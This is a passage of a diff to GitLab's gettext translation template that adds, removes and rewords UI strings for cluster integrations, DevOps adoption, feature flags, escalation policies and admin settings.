-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7177,9 +7309,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7195,9 +7324,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7243,18 +7369,9 @@ msgstr ""
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7291,18 +7408,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7324,39 +7429,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7390,9 +7465,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7483,9 +7555,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7495,15 +7564,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7540,15 +7600,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7561,9 +7612,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7612,15 +7660,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7663,15 +7705,6 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
@@ -7687,24 +7720,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7735,9 +7750,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7759,21 +7771,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7798,27 +7798,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7834,9 +7819,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7909,6 +7891,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7921,21 +7906,12 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
-msgid "CodeQuality|Code quality"
-msgstr ""
-
msgid "CodeQuality|Code quality: %{severity} - %{description}"
msgstr ""
-msgid "CodeQuality|New code quality degradations in this file"
-msgstr ""
-
msgid "CodeQuality|New code quality degradations on this line"
msgstr ""
-msgid "CodeQuality|Some changes in this file degrade the code quality."
-msgstr ""
-
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8229,9 +8205,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8268,9 +8241,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8310,6 +8280,21 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{italic_start}What's new%{italic_end} drawer and content."
+msgstr ""
+
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
+msgid "Configure %{repository_checks_link_start}repository checks%{link_end} and %{housekeeping_link_start}housekeeping%{link_end} on repositories."
+msgstr ""
+
+msgid "Configure Dependency Scanning in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#customizing-the-dependency-scanning-settings) to customize Dependency Scanning settings."
+msgstr ""
+
+msgid "Configure Dependency Scanning in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8340,15 +8325,9 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure What's new drawer and content."
-msgstr ""
-
msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
-msgid "Configure automatic git checks and housekeeping on repositories."
-msgstr ""
-
msgid "Configure existing installation"
msgstr ""
@@ -8373,16 +8352,19 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure repository storage."
+msgstr ""
+
msgid "Configure settings for Advanced Search with Elasticsearch."
msgstr ""
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
-msgid "Configure storage path settings."
+msgid "Configure the %{link} integration."
msgstr ""
-msgid "Configure the %{link} integration."
+msgid "Configure the default first day of the week and time tracking units."
msgstr ""
msgid "Configure the way a user creates a new account."
@@ -8478,9 +8460,6 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
-msgid "Contact Sales to upgrade"
-msgstr ""
-
msgid "Contact support"
msgstr ""
@@ -8557,6 +8536,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup is disabled for this project"
msgstr ""
+msgid "ContainerRegistry|Cleanup is ongoing"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
@@ -8572,6 +8554,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup ran but some tags were not removed"
msgstr ""
+msgid "ContainerRegistry|Cleanup timed out"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup timed out before it could delete all tags"
msgstr ""
@@ -8916,7 +8901,10 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
+msgstr ""
+
+msgid "Control which projects can be accessed by API requests authenticated with this project's CI_JOB_TOKEN CI/CD variable. It is a security risk to disable this feature, because unauthorized projects might attempt to retrieve an active token and access the API."
msgstr ""
msgid "Cookie domain"
@@ -9267,9 +9255,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9396,9 +9381,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9609,9 +9591,6 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
-msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
-msgstr ""
-
msgid "Creation date"
msgstr ""
@@ -9645,9 +9624,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9729,9 +9705,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "Customer Portal"
-msgstr ""
-
msgid "Customizable by an administrator."
msgstr ""
@@ -10300,6 +10273,12 @@ msgstr ""
msgid "DastProfiles|Website"
msgstr ""
+msgid "DastProfiles|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "DastProfiles|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
@@ -10422,9 +10401,6 @@ msgstr ""
msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
msgstr ""
-msgid "Deactivate this user"
-msgstr ""
-
msgid "Dear Administrator,"
msgstr ""
@@ -10458,9 +10434,6 @@ msgstr ""
msgid "Default CI/CD configuration file"
msgstr ""
-msgid "Default Timeout Period"
-msgstr ""
-
msgid "Default artifacts expiration"
msgstr ""
@@ -10497,6 +10470,9 @@ msgstr ""
msgid "Default projects limit"
msgstr ""
+msgid "Default timeout"
+msgstr ""
+
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -10674,13 +10650,10 @@ msgstr ""
msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
msgstr ""
-msgid "Deleting a user has the following effects:"
+msgid "Deleting the project will delete its repository and all related resources, including issues and merge requests."
msgstr ""
-msgid "Deleting the project will delete its repository and all related resources including issues, merge requests, etc."
-msgstr ""
-
-msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
+msgid "Deletion pending. This project will be deleted on %{date}. Repository and other project resources are read-only."
msgstr ""
msgid "Denied"
@@ -11249,7 +11222,10 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|Add Group"
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
@@ -11267,31 +11243,19 @@ msgstr ""
msgid "DevopsAdoption|Add sub-group to table"
msgstr ""
-msgid "DevopsAdoption|Add/remove groups"
-msgstr ""
-
-msgid "DevopsAdoption|Add/remove sub-groups"
-msgstr ""
-
msgid "DevopsAdoption|Adopted"
msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
-msgstr ""
-
msgid "DevopsAdoption|Approvals"
msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least one MR opened"
-msgstr ""
-
-msgid "DevopsAdoption|At least one approval on an MR"
+msgid "DevopsAdoption|At least one approval on a merge request"
msgstr ""
msgid "DevopsAdoption|At least one deploy"
@@ -11300,10 +11264,10 @@ msgstr ""
msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least one pipeline successfully run"
+msgid "DevopsAdoption|At least one merge request opened"
msgstr ""
-msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
msgid "DevopsAdoption|Code owners"
@@ -11315,6 +11279,12 @@ msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
msgstr ""
+msgid "DevopsAdoption|DAST"
+msgstr ""
+
+msgid "DevopsAdoption|DAST enabled for at least one project"
+msgstr ""
+
msgid "DevopsAdoption|Deploys"
msgstr ""
@@ -11327,21 +11297,12 @@ msgstr ""
msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsAdoption|Filter by name"
-msgstr ""
-
msgid "DevopsAdoption|Issues"
msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|My group"
-msgstr ""
-
-msgid "DevopsAdoption|No filter results."
-msgstr ""
-
msgid "DevopsAdoption|No results…"
msgstr ""
@@ -11351,6 +11312,9 @@ msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11366,10 +11330,10 @@ msgstr ""
msgid "DevopsAdoption|Runners"
msgstr ""
-msgid "DevopsAdoption|Save changes"
+msgid "DevopsAdoption|SAST"
msgstr ""
-msgid "DevopsAdoption|Scanning"
+msgid "DevopsAdoption|SAST enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Sec"
@@ -11408,6 +11372,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11617,7 +11584,10 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Display time tracking in issues in total hours only."
+msgstr ""
+
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11668,7 +11638,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11692,6 +11662,9 @@ msgstr ""
msgid "Download %{name} artifact"
msgstr ""
+msgid "Download (%{fileSizeReadable})"
+msgstr ""
+
msgid "Download (%{size})"
msgstr ""
@@ -11716,9 +11689,6 @@ msgstr ""
msgid "Download image"
msgstr ""
-msgid "Download license"
-msgstr ""
-
msgid "Download raw data (.csv)"
msgstr ""
@@ -11893,12 +11863,6 @@ msgstr ""
msgid "Edit issues"
msgstr ""
-msgid "Edit iteration"
-msgstr ""
-
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11932,9 +11896,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -11995,6 +11956,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12124,6 +12088,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12133,13 +12100,13 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
-msgid "Enable Repository Checks"
+msgid "Enable Registration Features"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12178,7 +12145,7 @@ msgstr ""
msgid "Enable authentication"
msgstr ""
-msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgid "Enable automatic repository housekeeping"
msgstr ""
msgid "Enable classification control using an external service"
@@ -12217,16 +12184,10 @@ msgstr ""
msgid "Enable maintenance mode"
msgstr ""
-msgid "Enable mirror configuration"
-msgstr ""
-
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12244,6 +12205,12 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable repository checks"
+msgstr ""
+
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12259,9 +12226,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12271,9 +12235,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12340,6 +12301,9 @@ msgstr ""
msgid "Ensure your %{linkStart}environment is part of the deploy stage%{linkEnd} of your CI pipeline to track deployments to your cluster."
msgstr ""
+msgid "Enter %{weights_link_start}weights%{weights_link_end} for storages for new repositories. Configured storages appear below."
+msgstr ""
+
msgid "Enter 2FA for Admin Mode"
msgstr ""
@@ -12397,9 +12361,6 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
-msgid "Enter weights for storages for new repositories."
-msgstr ""
-
msgid "Enter your password to approve"
msgstr ""
@@ -12913,6 +12874,9 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
+msgid "Error occurred while updating the %{issuableType} status"
+msgstr ""
+
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -13051,6 +13015,9 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
+msgid "Escalation policies may not have more than %{rule_count} rules"
+msgstr ""
+
msgid "Escalation policies must have at least one rule"
msgstr ""
@@ -13084,9 +13051,6 @@ msgstr ""
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
-msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
-msgstr ""
-
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
@@ -13105,6 +13069,12 @@ msgstr ""
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Maximum of 10 rules has been reached."
+msgstr ""
+
+msgid "EscalationPolicies|Minutes must be between 0 and 1440."
+msgstr ""
+
msgid "EscalationPolicies|Remove escalation rule"
msgstr ""
@@ -13120,6 +13090,12 @@ msgstr ""
msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|This policy has no escalation rules."
+msgstr ""
+
msgid "EscalationPolicies|mins"
msgstr ""
@@ -13159,9 +13135,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13326,18 +13299,12 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
msgid "Expires in %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -13443,9 +13410,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13623,6 +13587,9 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
+msgid "Failed to register Agent"
+msgstr ""
+
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -13704,13 +13671,7 @@ msgstr ""
msgid "False positive"
msgstr ""
-msgid "Fast Timeout Period"
-msgstr ""
-
-msgid "Fast-forward merge is not possible. Rebase the source branch onto %{targetBranch} to allow this merge request to be merged."
-msgstr ""
-
-msgid "Fast-forward merge is not possible. Rebase the source branch onto the target branch."
+msgid "Fast timeout"
msgstr ""
msgid "Fast-forward merge without a merge commit"
@@ -13760,9 +13721,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13811,9 +13769,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13844,15 +13799,9 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
-msgstr ""
-
msgid "FeatureFlags|ID"
msgstr ""
@@ -13862,9 +13811,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13904,24 +13850,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13931,9 +13865,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14269,6 +14200,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14290,10 +14224,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14398,9 +14329,6 @@ msgstr ""
msgid "Framework successfully deleted"
msgstr ""
-msgid "Free Trial"
-msgstr ""
-
msgid "Free Trial of GitLab.com Ultimate"
msgstr ""
@@ -14413,6 +14341,9 @@ msgstr ""
msgid "Frequency"
msgstr ""
+msgid "Frequently searched"
+msgstr ""
+
msgid "Friday"
msgstr ""
@@ -15094,9 +15025,6 @@ msgstr ""
msgid "GitLab will inform you if a new version is available."
msgstr ""
-msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
-msgstr ""
-
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -15163,7 +15091,7 @@ msgstr ""
msgid "GitLabPages|Removing pages will prevent them from being exposed to the outside world."
msgstr ""
-msgid "GitLabPages|Save"
+msgid "GitLabPages|Save changes"
msgstr ""
msgid "GitLabPages|Something went wrong while obtaining the Let's Encrypt certificate for %{domain}. To retry visit your %{link_start}domain details%{link_end}."
@@ -15196,9 +15124,6 @@ msgstr ""
msgid "GitLabPages|Your pages are served under:"
msgstr ""
-msgid "Gitaly"
-msgstr ""
-
msgid "Gitaly Servers"
msgstr ""
@@ -15208,6 +15133,9 @@ msgstr ""
msgid "Gitaly storage name:"
msgstr ""
